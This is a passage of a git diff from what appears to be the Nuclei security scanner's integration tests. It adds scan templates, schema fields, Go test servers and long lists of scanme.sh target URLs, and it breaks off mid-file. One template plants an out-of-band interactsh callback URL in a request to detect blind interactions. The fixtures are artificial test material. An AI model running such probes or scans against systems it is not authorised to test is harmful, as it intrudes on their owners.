value: headless/file-upload.yaml
|
||||
- action: sleep
|
||||
args:
|
||||
duration: 2
|
||||
- action: click
|
||||
args:
|
||||
by: x
|
||||
xpath: /html/body/form/input[2]
|
||||
matchers:
|
||||
- type: word
|
||||
words:
|
||||
- "Basic File Upload"
|
||||
15
integration_tests/protocols/headless/headless-local.yaml
Normal file
@ -0,0 +1,15 @@
|
||||
id: nuclei-headless-local
|
||||
|
||||
info:
|
||||
name: Nuclei Headless Local
|
||||
author: pdteam
|
||||
severity: high
|
||||
|
||||
headless:
|
||||
- steps:
|
||||
- action: navigate
|
||||
args:
|
||||
url: "{{BaseURL}}"
|
||||
|
||||
- action: waitload
|
||||
|
||||
@ -10,6 +10,9 @@ http:
|
||||
- |
|
||||
GET /api/v1/test?id=123 HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
- |
|
||||
GET HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
disable-path-automerge: true
|
||||
matchers:
|
||||
- type: status
|
||||
|
||||
@ -0,0 +1,27 @@
|
||||
id: interactsh-requests-mc-and
|
||||
|
||||
info:
|
||||
name: interactsh multi request matcher condition
|
||||
author: pdteam
|
||||
severity: info
|
||||
|
||||
requests:
|
||||
- raw:
|
||||
- |
|
||||
GET /api/geoping/{{interactsh-url}} HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
|
||||
- |
|
||||
GET / HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
|
||||
matchers-condition: and
|
||||
matchers:
|
||||
- type: word
|
||||
part: interactsh_protocol # Confirms the DNS Interaction
|
||||
words:
|
||||
- "dns"
|
||||
|
||||
- type: dsl
|
||||
dsl:
|
||||
- "status_code_2 == 200"
|
||||
21
integration_tests/protocols/network/network-port.yaml
Normal file
@ -0,0 +1,21 @@
|
||||
id: network-port-example
|
||||
|
||||
info:
|
||||
name: Example Template with Network Port
|
||||
author: pdteam
|
||||
severity: high
|
||||
description: This is an updated description for the network port example.
|
||||
reference: https://updated-reference-link
|
||||
|
||||
tcp:
|
||||
- host:
|
||||
- "{{Hostname}}"
|
||||
port: 23846
|
||||
inputs:
|
||||
- data: "PING\r\n"
|
||||
read-size: 4
|
||||
matchers:
|
||||
- type: word
|
||||
part: data
|
||||
words:
|
||||
- "PONG"
|
||||
@ -78,6 +78,14 @@
|
||||
"Bower is a package manager which stores package information in the bower.json file"
|
||||
]
|
||||
},
|
||||
"impact": {
|
||||
"type": "string",
|
||||
"title": "impact of the template",
|
||||
"description": "In-depth explanation on the impact of the issue found by the template",
|
||||
"examples": [
|
||||
"Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries"
|
||||
]
|
||||
},
|
||||
"reference": {
|
||||
"$schema": "http://json-schema.org/draft-04/schema#",
|
||||
"$ref": "#/definitions/stringslice.RawStringSlice",
|
||||
@ -342,6 +350,14 @@
|
||||
"title": "dsl expressions to match in response",
|
||||
"description": "DSL are the dsl expressions that will be evaluated as part of nuclei matching rules"
|
||||
},
|
||||
"xpath": {
|
||||
"items": {
|
||||
"type": "string"
|
||||
},
|
||||
"type": "array",
|
||||
"title": "xpath queries to match in response",
|
||||
"description": "xpath are the XPath queries that will be evaluated against the response part of nuclei matching rules"
|
||||
},
|
||||
"encoding": {
|
||||
"enum": [
|
||||
"hex"
|
||||
@ -371,7 +387,8 @@
|
||||
"binary",
|
||||
"status",
|
||||
"size",
|
||||
"dsl"
|
||||
"dsl",
|
||||
"xpath"
|
||||
],
|
||||
"type": "string",
|
||||
"title": "type of the matcher",
|
||||
@ -1104,6 +1121,16 @@
|
||||
"title": "inputs for the network request",
|
||||
"description": "Inputs contains any input/output for the current request"
|
||||
},
|
||||
"port": {
|
||||
"type": "string",
|
||||
"title": "port to send requests to",
|
||||
"description": "Port to send network requests to"
|
||||
},
|
||||
"exclude-ports": {
|
||||
"type": "string",
|
||||
"title": "exclude ports from being scanned",
|
||||
"description": "Exclude ports from being scanned"
|
||||
},
|
||||
"read-size": {
|
||||
"type": "integer",
|
||||
"title": "size of network response to read",
|
||||
|
||||
1000
v2/cmd/functional-test/targets-1000.txt
Normal file
150
v2/cmd/functional-test/targets-150.txt
Normal file
@ -0,0 +1,150 @@
|
||||
https://scanme.sh/?a=1
|
||||
https://scanme.sh/?a=2
|
||||
https://scanme.sh/?a=3
|
||||
https://scanme.sh/?a=4
|
||||
https://scanme.sh/?a=5
|
||||
https://scanme.sh/?a=6
|
||||
https://scanme.sh/?a=7
|
||||
https://scanme.sh/?a=8
|
||||
https://scanme.sh/?a=9
|
||||
https://scanme.sh/?a=10
|
||||
https://scanme.sh/?a=11
|
||||
https://scanme.sh/?a=12
|
||||
https://scanme.sh/?a=13
|
||||
https://scanme.sh/?a=14
|
||||
https://scanme.sh/?a=15
|
||||
https://scanme.sh/?a=16
|
||||
https://scanme.sh/?a=17
|
||||
https://scanme.sh/?a=18
|
||||
https://scanme.sh/?a=19
|
||||
https://scanme.sh/?a=20
|
||||
https://scanme.sh/?a=21
|
||||
https://scanme.sh/?a=22
|
||||
https://scanme.sh/?a=23
|
||||
https://scanme.sh/?a=24
|
||||
https://scanme.sh/?a=25
|
||||
https://scanme.sh/?a=26
|
||||
https://scanme.sh/?a=27
|
||||
https://scanme.sh/?a=28
|
||||
https://scanme.sh/?a=29
|
||||
https://scanme.sh/?a=30
|
||||
https://scanme.sh/?a=31
|
||||
https://scanme.sh/?a=32
|
||||
https://scanme.sh/?a=33
|
||||
https://scanme.sh/?a=34
|
||||
https://scanme.sh/?a=35
|
||||
https://scanme.sh/?a=36
|
||||
https://scanme.sh/?a=37
|
||||
https://scanme.sh/?a=38
|
||||
https://scanme.sh/?a=39
|
||||
https://scanme.sh/?a=40
|
||||
https://scanme.sh/?a=41
|
||||
https://scanme.sh/?a=42
|
||||
https://scanme.sh/?a=43
|
||||
https://scanme.sh/?a=44
|
||||
https://scanme.sh/?a=45
|
||||
https://scanme.sh/?a=46
|
||||
https://scanme.sh/?a=47
|
||||
https://scanme.sh/?a=48
|
||||
https://scanme.sh/?a=49
|
||||
https://scanme.sh/?a=50
|
||||
https://scanme.sh/?a=51
|
||||
https://scanme.sh/?a=52
|
||||
https://scanme.sh/?a=53
|
||||
https://scanme.sh/?a=54
|
||||
https://scanme.sh/?a=55
|
||||
https://scanme.sh/?a=56
|
||||
https://scanme.sh/?a=57
|
||||
https://scanme.sh/?a=58
|
||||
https://scanme.sh/?a=59
|
||||
https://scanme.sh/?a=60
|
||||
https://scanme.sh/?a=61
|
||||
https://scanme.sh/?a=62
|
||||
https://scanme.sh/?a=63
|
||||
https://scanme.sh/?a=64
|
||||
https://scanme.sh/?a=65
|
||||
https://scanme.sh/?a=66
|
||||
https://scanme.sh/?a=67
|
||||
https://scanme.sh/?a=68
|
||||
https://scanme.sh/?a=69
|
||||
https://scanme.sh/?a=70
|
||||
https://scanme.sh/?a=71
|
||||
https://scanme.sh/?a=72
|
||||
https://scanme.sh/?a=73
|
||||
https://scanme.sh/?a=74
|
||||
https://scanme.sh/?a=75
|
||||
https://scanme.sh/?a=76
|
||||
https://scanme.sh/?a=77
|
||||
https://scanme.sh/?a=78
|
||||
https://scanme.sh/?a=79
|
||||
https://scanme.sh/?a=80
|
||||
https://scanme.sh/?a=81
|
||||
https://scanme.sh/?a=82
|
||||
https://scanme.sh/?a=83
|
||||
https://scanme.sh/?a=84
|
||||
https://scanme.sh/?a=85
|
||||
https://scanme.sh/?a=86
|
||||
https://scanme.sh/?a=87
|
||||
https://scanme.sh/?a=88
|
||||
https://scanme.sh/?a=89
|
||||
https://scanme.sh/?a=90
|
||||
https://scanme.sh/?a=91
|
||||
https://scanme.sh/?a=92
|
||||
https://scanme.sh/?a=93
|
||||
https://scanme.sh/?a=94
|
||||
https://scanme.sh/?a=95
|
||||
https://scanme.sh/?a=96
|
||||
https://scanme.sh/?a=97
|
||||
https://scanme.sh/?a=98
|
||||
https://scanme.sh/?a=99
|
||||
https://scanme.sh/?a=100
|
||||
https://scanme.sh/?a=101
|
||||
https://scanme.sh/?a=102
|
||||
https://scanme.sh/?a=103
|
||||
https://scanme.sh/?a=104
|
||||
https://scanme.sh/?a=105
|
||||
https://scanme.sh/?a=106
|
||||
https://scanme.sh/?a=107
|
||||
https://scanme.sh/?a=108
|
||||
https://scanme.sh/?a=109
|
||||
https://scanme.sh/?a=110
|
||||
https://scanme.sh/?a=111
|
||||
https://scanme.sh/?a=112
|
||||
https://scanme.sh/?a=113
|
||||
https://scanme.sh/?a=114
|
||||
https://scanme.sh/?a=115
|
||||
https://scanme.sh/?a=116
|
||||
https://scanme.sh/?a=117
|
||||
https://scanme.sh/?a=118
|
||||
https://scanme.sh/?a=119
|
||||
https://scanme.sh/?a=120
|
||||
https://scanme.sh/?a=121
|
||||
https://scanme.sh/?a=122
|
||||
https://scanme.sh/?a=123
|
||||
https://scanme.sh/?a=124
|
||||
https://scanme.sh/?a=125
|
||||
https://scanme.sh/?a=126
|
||||
https://scanme.sh/?a=127
|
||||
https://scanme.sh/?a=128
|
||||
https://scanme.sh/?a=129
|
||||
https://scanme.sh/?a=130
|
||||
https://scanme.sh/?a=131
|
||||
https://scanme.sh/?a=132
|
||||
https://scanme.sh/?a=133
|
||||
https://scanme.sh/?a=134
|
||||
https://scanme.sh/?a=135
|
||||
https://scanme.sh/?a=136
|
||||
https://scanme.sh/?a=137
|
||||
https://scanme.sh/?a=138
|
||||
https://scanme.sh/?a=139
|
||||
https://scanme.sh/?a=140
|
||||
https://scanme.sh/?a=141
|
||||
https://scanme.sh/?a=142
|
||||
https://scanme.sh/?a=143
|
||||
https://scanme.sh/?a=144
|
||||
https://scanme.sh/?a=145
|
||||
https://scanme.sh/?a=146
|
||||
https://scanme.sh/?a=147
|
||||
https://scanme.sh/?a=148
|
||||
https://scanme.sh/?a=149
|
||||
https://scanme.sh/?a=150
|
||||
250
v2/cmd/functional-test/targets-250.txt
Normal file
@ -0,0 +1,250 @@
|
||||
https://scanme.sh/?a=1
|
||||
https://scanme.sh/?a=2
|
||||
https://scanme.sh/?a=3
|
||||
https://scanme.sh/?a=4
|
||||
https://scanme.sh/?a=5
|
||||
https://scanme.sh/?a=6
|
||||
https://scanme.sh/?a=7
|
||||
https://scanme.sh/?a=8
|
||||
https://scanme.sh/?a=9
|
||||
https://scanme.sh/?a=10
|
||||
https://scanme.sh/?a=11
|
||||
https://scanme.sh/?a=12
|
||||
https://scanme.sh/?a=13
|
||||
https://scanme.sh/?a=14
|
||||
https://scanme.sh/?a=15
|
||||
https://scanme.sh/?a=16
|
||||
https://scanme.sh/?a=17
|
||||
https://scanme.sh/?a=18
|
||||
https://scanme.sh/?a=19
|
||||
https://scanme.sh/?a=20
|
||||
https://scanme.sh/?a=21
|
||||
https://scanme.sh/?a=22
|
||||
https://scanme.sh/?a=23
|
||||
https://scanme.sh/?a=24
|
||||
https://scanme.sh/?a=25
|
||||
https://scanme.sh/?a=26
|
||||
https://scanme.sh/?a=27
|
||||
https://scanme.sh/?a=28
|
||||
https://scanme.sh/?a=29
|
||||
https://scanme.sh/?a=30
|
||||
https://scanme.sh/?a=31
|
||||
https://scanme.sh/?a=32
|
||||
https://scanme.sh/?a=33
|
||||
https://scanme.sh/?a=34
|
||||
https://scanme.sh/?a=35
|
||||
https://scanme.sh/?a=36
|
||||
https://scanme.sh/?a=37
|
||||
https://scanme.sh/?a=38
|
||||
https://scanme.sh/?a=39
|
||||
https://scanme.sh/?a=40
|
||||
https://scanme.sh/?a=41
|
||||
https://scanme.sh/?a=42
|
||||
https://scanme.sh/?a=43
|
||||
https://scanme.sh/?a=44
|
||||
https://scanme.sh/?a=45
|
||||
https://scanme.sh/?a=46
|
||||
https://scanme.sh/?a=47
|
||||
https://scanme.sh/?a=48
|
||||
https://scanme.sh/?a=49
|
||||
https://scanme.sh/?a=50
|
||||
https://scanme.sh/?a=51
|
||||
https://scanme.sh/?a=52
|
||||
https://scanme.sh/?a=53
|
||||
https://scanme.sh/?a=54
|
||||
https://scanme.sh/?a=55
|
||||
https://scanme.sh/?a=56
|
||||
https://scanme.sh/?a=57
|
||||
https://scanme.sh/?a=58
|
||||
https://scanme.sh/?a=59
|
||||
https://scanme.sh/?a=60
|
||||
https://scanme.sh/?a=61
|
||||
https://scanme.sh/?a=62
|
||||
https://scanme.sh/?a=63
|
||||
https://scanme.sh/?a=64
|
||||
https://scanme.sh/?a=65
|
||||
https://scanme.sh/?a=66
|
||||
https://scanme.sh/?a=67
|
||||
https://scanme.sh/?a=68
|
||||
https://scanme.sh/?a=69
|
||||
https://scanme.sh/?a=70
|
||||
https://scanme.sh/?a=71
|
||||
https://scanme.sh/?a=72
|
||||
https://scanme.sh/?a=73
|
||||
https://scanme.sh/?a=74
|
||||
https://scanme.sh/?a=75
|
||||
https://scanme.sh/?a=76
|
||||
https://scanme.sh/?a=77
|
||||
https://scanme.sh/?a=78
|
||||
https://scanme.sh/?a=79
|
||||
https://scanme.sh/?a=80
|
||||
https://scanme.sh/?a=81
|
||||
https://scanme.sh/?a=82
|
||||
https://scanme.sh/?a=83
|
||||
https://scanme.sh/?a=84
|
||||
https://scanme.sh/?a=85
|
||||
https://scanme.sh/?a=86
|
||||
https://scanme.sh/?a=87
|
||||
https://scanme.sh/?a=88
|
||||
https://scanme.sh/?a=89
|
||||
https://scanme.sh/?a=90
|
||||
https://scanme.sh/?a=91
|
||||
https://scanme.sh/?a=92
|
||||
https://scanme.sh/?a=93
|
||||
https://scanme.sh/?a=94
|
||||
https://scanme.sh/?a=95
|
||||
https://scanme.sh/?a=96
|
||||
https://scanme.sh/?a=97
|
||||
https://scanme.sh/?a=98
|
||||
https://scanme.sh/?a=99
|
||||
https://scanme.sh/?a=100
|
||||
https://scanme.sh/?a=101
|
||||
https://scanme.sh/?a=102
|
||||
https://scanme.sh/?a=103
|
||||
https://scanme.sh/?a=104
|
||||
https://scanme.sh/?a=105
|
||||
https://scanme.sh/?a=106
|
||||
https://scanme.sh/?a=107
|
||||
https://scanme.sh/?a=108
|
||||
https://scanme.sh/?a=109
|
||||
https://scanme.sh/?a=110
|
||||
https://scanme.sh/?a=111
|
||||
https://scanme.sh/?a=112
|
||||
https://scanme.sh/?a=113
|
||||
https://scanme.sh/?a=114
|
||||
https://scanme.sh/?a=115
|
||||
https://scanme.sh/?a=116
|
||||
https://scanme.sh/?a=117
|
||||
https://scanme.sh/?a=118
|
||||
https://scanme.sh/?a=119
|
||||
https://scanme.sh/?a=120
|
||||
https://scanme.sh/?a=121
|
||||
https://scanme.sh/?a=122
|
||||
https://scanme.sh/?a=123
|
||||
https://scanme.sh/?a=124
|
||||
https://scanme.sh/?a=125
|
||||
https://scanme.sh/?a=126
|
||||
https://scanme.sh/?a=127
|
||||
https://scanme.sh/?a=128
|
||||
https://scanme.sh/?a=129
|
||||
https://scanme.sh/?a=130
|
||||
https://scanme.sh/?a=131
|
||||
https://scanme.sh/?a=132
|
||||
https://scanme.sh/?a=133
|
||||
https://scanme.sh/?a=134
|
||||
https://scanme.sh/?a=135
|
||||
https://scanme.sh/?a=136
|
||||
https://scanme.sh/?a=137
|
||||
https://scanme.sh/?a=138
|
||||
https://scanme.sh/?a=139
|
||||
https://scanme.sh/?a=140
|
||||
https://scanme.sh/?a=141
|
||||
https://scanme.sh/?a=142
|
||||
https://scanme.sh/?a=143
|
||||
https://scanme.sh/?a=144
|
||||
https://scanme.sh/?a=145
|
||||
https://scanme.sh/?a=146
|
||||
https://scanme.sh/?a=147
|
||||
https://scanme.sh/?a=148
|
||||
https://scanme.sh/?a=149
|
||||
https://scanme.sh/?a=150
|
||||
https://scanme.sh/?a=151
|
||||
https://scanme.sh/?a=152
|
||||
https://scanme.sh/?a=153
|
||||
https://scanme.sh/?a=154
|
||||
https://scanme.sh/?a=155
|
||||
https://scanme.sh/?a=156
|
||||
https://scanme.sh/?a=157
|
||||
https://scanme.sh/?a=158
|
||||
https://scanme.sh/?a=159
|
||||
https://scanme.sh/?a=160
|
||||
https://scanme.sh/?a=161
|
||||
https://scanme.sh/?a=162
|
||||
https://scanme.sh/?a=163
|
||||
https://scanme.sh/?a=164
|
||||
https://scanme.sh/?a=165
|
||||
https://scanme.sh/?a=166
|
||||
https://scanme.sh/?a=167
|
||||
https://scanme.sh/?a=168
|
||||
https://scanme.sh/?a=169
|
||||
https://scanme.sh/?a=170
|
||||
https://scanme.sh/?a=171
|
||||
https://scanme.sh/?a=172
|
||||
https://scanme.sh/?a=173
|
||||
https://scanme.sh/?a=174
|
||||
https://scanme.sh/?a=175
|
||||
https://scanme.sh/?a=176
|
||||
https://scanme.sh/?a=177
|
||||
https://scanme.sh/?a=178
|
||||
https://scanme.sh/?a=179
|
||||
https://scanme.sh/?a=180
|
||||
https://scanme.sh/?a=181
|
||||
https://scanme.sh/?a=182
|
||||
https://scanme.sh/?a=183
|
||||
https://scanme.sh/?a=184
|
||||
https://scanme.sh/?a=185
|
||||
https://scanme.sh/?a=186
|
||||
https://scanme.sh/?a=187
|
||||
https://scanme.sh/?a=188
|
||||
https://scanme.sh/?a=189
|
||||
https://scanme.sh/?a=190
|
||||
https://scanme.sh/?a=191
|
||||
https://scanme.sh/?a=192
|
||||
https://scanme.sh/?a=193
|
||||
https://scanme.sh/?a=194
|
||||
https://scanme.sh/?a=195
|
||||
https://scanme.sh/?a=196
|
||||
https://scanme.sh/?a=197
|
||||
https://scanme.sh/?a=198
|
||||
https://scanme.sh/?a=199
|
||||
https://scanme.sh/?a=200
|
||||
https://scanme.sh/?a=201
|
||||
https://scanme.sh/?a=202
|
||||
https://scanme.sh/?a=203
|
||||
https://scanme.sh/?a=204
|
||||
https://scanme.sh/?a=205
|
||||
https://scanme.sh/?a=206
|
||||
https://scanme.sh/?a=207
|
||||
https://scanme.sh/?a=208
|
||||
https://scanme.sh/?a=209
|
||||
https://scanme.sh/?a=210
|
||||
https://scanme.sh/?a=211
|
||||
https://scanme.sh/?a=212
|
||||
https://scanme.sh/?a=213
|
||||
https://scanme.sh/?a=214
|
||||
https://scanme.sh/?a=215
|
||||
https://scanme.sh/?a=216
|
||||
https://scanme.sh/?a=217
|
||||
https://scanme.sh/?a=218
|
||||
https://scanme.sh/?a=219
|
||||
https://scanme.sh/?a=220
|
||||
https://scanme.sh/?a=221
|
||||
https://scanme.sh/?a=222
|
||||
https://scanme.sh/?a=223
|
||||
https://scanme.sh/?a=224
|
||||
https://scanme.sh/?a=225
|
||||
https://scanme.sh/?a=226
|
||||
https://scanme.sh/?a=227
|
||||
https://scanme.sh/?a=228
|
||||
https://scanme.sh/?a=229
|
||||
https://scanme.sh/?a=230
|
||||
https://scanme.sh/?a=231
|
||||
https://scanme.sh/?a=232
|
||||
https://scanme.sh/?a=233
|
||||
https://scanme.sh/?a=234
|
||||
https://scanme.sh/?a=235
|
||||
https://scanme.sh/?a=236
|
||||
https://scanme.sh/?a=237
|
||||
https://scanme.sh/?a=238
|
||||
https://scanme.sh/?a=239
|
||||
https://scanme.sh/?a=240
|
||||
https://scanme.sh/?a=241
|
||||
https://scanme.sh/?a=242
|
||||
https://scanme.sh/?a=243
|
||||
https://scanme.sh/?a=244
|
||||
https://scanme.sh/?a=245
|
||||
https://scanme.sh/?a=246
|
||||
https://scanme.sh/?a=247
|
||||
https://scanme.sh/?a=248
|
||||
https://scanme.sh/?a=249
|
||||
https://scanme.sh/?a=250
|
||||
@ -11,6 +11,7 @@ import (
|
||||
"github.com/julienschmidt/httprouter"
|
||||
|
||||
"github.com/projectdiscovery/nuclei/v2/pkg/testutils"
|
||||
permissionutil "github.com/projectdiscovery/utils/permission"
|
||||
)
|
||||
|
||||
var genericTestcases = []TestCaseInfo{
|
||||
@ -84,8 +85,8 @@ func (h *clientCertificate) Execute(filePath string) error {
|
||||
fmt.Fprintf(w, "Hello, %s!\n", r.TLS.PeerCertificates[0].Subject)
|
||||
})
|
||||
|
||||
_ = os.WriteFile("server.crt", []byte(serverCRT), os.ModePerm)
|
||||
_ = os.WriteFile("server.key", []byte(serverKey), os.ModePerm)
|
||||
_ = os.WriteFile("server.crt", []byte(serverCRT), permissionutil.ConfigFilePermission)
|
||||
_ = os.WriteFile("server.key", []byte(serverKey), permissionutil.ConfigFilePermission)
|
||||
defer os.Remove("server.crt")
|
||||
defer os.Remove("server.key")
|
||||
|
||||
|
||||
@ -16,7 +16,9 @@ var headlessTestcases = []TestCaseInfo{
|
||||
{Path: "protocols/headless/headless-extract-values.yaml", TestCase: &headlessExtractValues{}},
|
||||
{Path: "protocols/headless/headless-payloads.yaml", TestCase: &headlessPayloads{}},
|
||||
{Path: "protocols/headless/variables.yaml", TestCase: &headlessVariables{}},
|
||||
{Path: "protocols/headless/headless-local.yaml", TestCase: &headlessLocal{}},
|
||||
{Path: "protocols/headless/file-upload.yaml", TestCase: &headlessFileUpload{}},
|
||||
{Path: "protocols/headless/file-upload-negative.yaml", TestCase: &headlessFileUploadNegative{}},
|
||||
{Path: "protocols/headless/headless-header-status-test.yaml", TestCase: &headlessHeaderStatus{}},
|
||||
}
|
||||
|
||||
@ -39,6 +41,27 @@ func (h *headlessBasic) Execute(filePath string) error {
|
||||
return expectResultsCount(results, 1)
|
||||
}
|
||||
|
||||
type headlessLocal struct{}
|
||||
|
||||
// Execute executes a test case and returns an error if occurred
|
||||
// in this testcases local network access is disabled
|
||||
func (h *headlessLocal) Execute(filePath string) error {
|
||||
router := httprouter.New()
|
||||
router.GET("/", func(w http.ResponseWriter, r *http.Request, _ httprouter.Params) {
|
||||
_, _ = w.Write([]byte("<html><body></body></html>"))
|
||||
})
|
||||
ts := httptest.NewServer(router)
|
||||
defer ts.Close()
|
||||
|
||||
args := []string{"-t", filePath, "-u", ts.URL, "-headless", "-lna"}
|
||||
|
||||
results, err := testutils.RunNucleiWithArgsAndGetResults(debug, args...)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
return expectResultsCount(results, 0)
|
||||
}
|
||||
|
||||
type headlessHeaderActions struct{}
|
||||
|
||||
// Execute executes a test case and returns an error if occurred
|
||||
@ -171,3 +194,48 @@ func (h *headlessHeaderStatus) Execute(filePath string) error {
|
||||
|
||||
return expectResultsCount(results, 1)
|
||||
}
|
||||
|
||||
type headlessFileUploadNegative struct{}
|
||||
|
||||
// Execute executes a test case and returns an error if occurred
|
||||
func (h *headlessFileUploadNegative) Execute(filePath string) error {
|
||||
router := httprouter.New()
|
||||
router.GET("/", func(w http.ResponseWriter, r *http.Request, _ httprouter.Params) {
|
||||
_, _ = w.Write([]byte(`
|
||||
<!doctype html>
|
||||
<body>
|
||||
<form method=post enctype=multipart/form-data>
|
||||
<input type=file name=file>
|
||||
<input type=submit value=Upload>
|
||||
</form>
|
||||
</body>
|
||||
</html>
|
||||
`))
|
||||
})
|
||||
router.POST("/", func(w http.ResponseWriter, r *http.Request, _ httprouter.Params) {
|
||||
file, _, err := r.FormFile("file")
|
||||
if err != nil {
|
||||
http.Error(w, err.Error(), http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
|
||||
defer file.Close()
|
||||
|
||||
content, err := io.ReadAll(file)
|
||||
if err != nil {
|
||||
http.Error(w, err.Error(), http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
|
||||
_, _ = w.Write(content)
|
||||
})
|
||||
ts := httptest.NewServer(router)
|
||||
defer ts.Close()
|
||||
args := []string{"-t", filePath, "-u", ts.URL, "-headless"}
|
||||
|
||||
results, err := testutils.RunNucleiWithArgsAndGetResults(debug, args...)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
return expectResultsCount(results, 0)
|
||||
}
|
||||
|
||||
@ -1453,11 +1453,25 @@ func (h *httpDisablePathAutomerge) Execute(filePath string) error {
|
||||
router.GET("/api/v1/test", func(w http.ResponseWriter, r *http.Request, _ httprouter.Params) {
|
||||
fmt.Fprint(w, r.URL.Query().Get("id"))
|
||||
})
|
||||
router.GET("/", func(w http.ResponseWriter, r *http.Request, _ httprouter.Params) {
|
||||
fmt.Fprint(w, "empty path in raw request")
|
||||
})
|
||||
|
||||
ts := httptest.NewServer(router)
|
||||
defer ts.Close()
|
||||
got, err := testutils.RunNucleiTemplateAndGetResults(filePath, ts.URL+"/api/v1/user", debug)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
return expectResultsCount(got, 2)
|
||||
}
|
||||
|
||||
type httpInteractshRequestsWithMCAnd struct{}
|
||||
|
||||
func (h *httpInteractshRequestsWithMCAnd) Execute(filePath string) error {
|
||||
got, err := testutils.RunNucleiTemplateAndGetResults(filePath, "honey.scanme.sh", debug)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
return expectResultsCount(got, 1)
|
||||
}
|
||||
|
||||
@ -6,5 +6,6 @@ import osutils "github.com/projectdiscovery/utils/os"
|
||||
var interactshTestCases = []TestCaseInfo{
|
||||
{Path: "protocols/http/interactsh.yaml", TestCase: &httpInteractshRequest{}, DisableOn: func() bool { return osutils.IsWindows() || osutils.IsOSX() }},
|
||||
{Path: "protocols/http/interactsh-stop-at-first-match.yaml", TestCase: &httpInteractshStopAtFirstMatchRequest{}, DisableOn: func() bool { return osutils.IsWindows() || osutils.IsOSX() }},
|
||||
{Path: "protocols/http/default-matcher-condition.yaml", TestCase: &httpDefaultMatcherCondition{}, DisableOn: func() bool { return osutils.IsWindows() || osutils.IsOSX() }},
|
||||
{Path: "protocols/http/default-matcher-condition.yaml", TestCase: &httpDefaultMatcherCondition{}, DisableOn: func() bool { return true }}, // disable this test for now
|
||||
{Path: "protocols/http/interactsh-requests-mc-and.yaml", TestCase: &httpInteractshRequestsWithMCAnd{}},
|
||||
}
|
||||
|
||||
@ -10,6 +10,7 @@ import (
|
||||
"github.com/julienschmidt/httprouter"
|
||||
|
||||
"github.com/projectdiscovery/nuclei/v2/pkg/testutils"
|
||||
permissionutil "github.com/projectdiscovery/utils/permission"
|
||||
)
|
||||
|
||||
var loaderTestcases = []TestCaseInfo{
|
||||
@ -48,13 +49,13 @@ func (h *remoteTemplateList) Execute(templateList string) error {
|
||||
defer ts.Close()
|
||||
|
||||
configFileData := `remote-template-domain: [ "` + ts.Listener.Addr().String() + `" ]`
|
||||
err := os.WriteFile("test-config.yaml", []byte(configFileData), os.ModePerm)
|
||||
err := os.WriteFile("test-config.yaml", []byte(configFileData), permissionutil.ConfigFilePermission)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer os.Remove("test-config.yaml")
|
||||
|
||||
results, err := testutils.RunNucleiBareArgsAndGetResults(debug, "-target", ts.URL, "-tu", ts.URL+"/template_list", "-config", "test-config.yaml")
|
||||
results, err := testutils.RunNucleiBareArgsAndGetResults(debug, "-target", ts.URL, "-template-url", ts.URL+"/template_list", "-config", "test-config.yaml")
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
@ -111,7 +112,7 @@ func (h *remoteTemplateListNotAllowed) Execute(templateList string) error {
|
||||
ts := httptest.NewServer(router)
|
||||
defer ts.Close()
|
||||
|
||||
_, err := testutils.RunNucleiBareArgsAndGetResults(debug, "-target", ts.URL, "-tu", ts.URL+"/template_list")
|
||||
_, err := testutils.RunNucleiBareArgsAndGetResults(debug, "-target", ts.URL, "-template-url", ts.URL+"/template_list")
|
||||
if err == nil {
|
||||
return fmt.Errorf("expected error for not allowed remote template list url")
|
||||
}
|
||||
@ -147,13 +148,13 @@ func (h *remoteWorkflowList) Execute(workflowList string) error {
|
||||
defer ts.Close()
|
||||
|
||||
configFileData := `remote-template-domain: [ "` + ts.Listener.Addr().String() + `" ]`
|
||||
err := os.WriteFile("test-config.yaml", []byte(configFileData), os.ModePerm)
|
||||
err := os.WriteFile("test-config.yaml", []byte(configFileData), permissionutil.ConfigFilePermission)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer os.Remove("test-config.yaml")
|
||||
|
||||
results, err := testutils.RunNucleiBareArgsAndGetResults(debug, "-target", ts.URL, "-wu", ts.URL+"/workflow_list", "-config", "test-config.yaml")
|
||||
results, err := testutils.RunNucleiBareArgsAndGetResults(debug, "-target", ts.URL, "-workflow-url", ts.URL+"/workflow_list", "-config", "test-config.yaml")
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
@ -169,7 +170,7 @@ func (h *nonExistentTemplateList) Execute(nonExistingTemplateList string) error
|
||||
ts := httptest.NewServer(router)
|
||||
defer ts.Close()
|
||||
|
||||
_, err := testutils.RunNucleiBareArgsAndGetResults(debug, "-target", ts.URL, "-tu", ts.URL+"/404")
|
||||
_, err := testutils.RunNucleiBareArgsAndGetResults(debug, "-target", ts.URL, "-template-url", ts.URL+"/404")
|
||||
if err == nil {
|
||||
return fmt.Errorf("expected error for nonexisting workflow url")
|
||||
}
|
||||
@ -185,7 +186,7 @@ func (h *nonExistentWorkflowList) Execute(nonExistingWorkflowList string) error
|
||||
ts := httptest.NewServer(router)
|
||||
defer ts.Close()
|
||||
|
||||
_, err := testutils.RunNucleiBareArgsAndGetResults(debug, "-target", ts.URL, "-wu", ts.URL+"/404")
|
||||
_, err := testutils.RunNucleiBareArgsAndGetResults(debug, "-target", ts.URL, "-workflow-url", ts.URL+"/404")
|
||||
if err == nil {
|
||||
return fmt.Errorf("expected error for nonexisting workflow url")
|
||||
}
|
||||
|
||||
@ -2,6 +2,7 @@ package main
|
||||
|
||||
import (
|
||||
"net"
|
||||
"strings"
|
||||
|
||||
"github.com/projectdiscovery/nuclei/v2/pkg/testutils"
|
||||
osutils "github.com/projectdiscovery/utils/os"
|
||||
@ -14,6 +15,7 @@ var networkTestcases = []TestCaseInfo{
|
||||
{Path: "protocols/network/self-contained.yaml", TestCase: &networkRequestSelContained{}},
|
||||
{Path: "protocols/network/variables.yaml", TestCase: &networkVariables{}},
|
||||
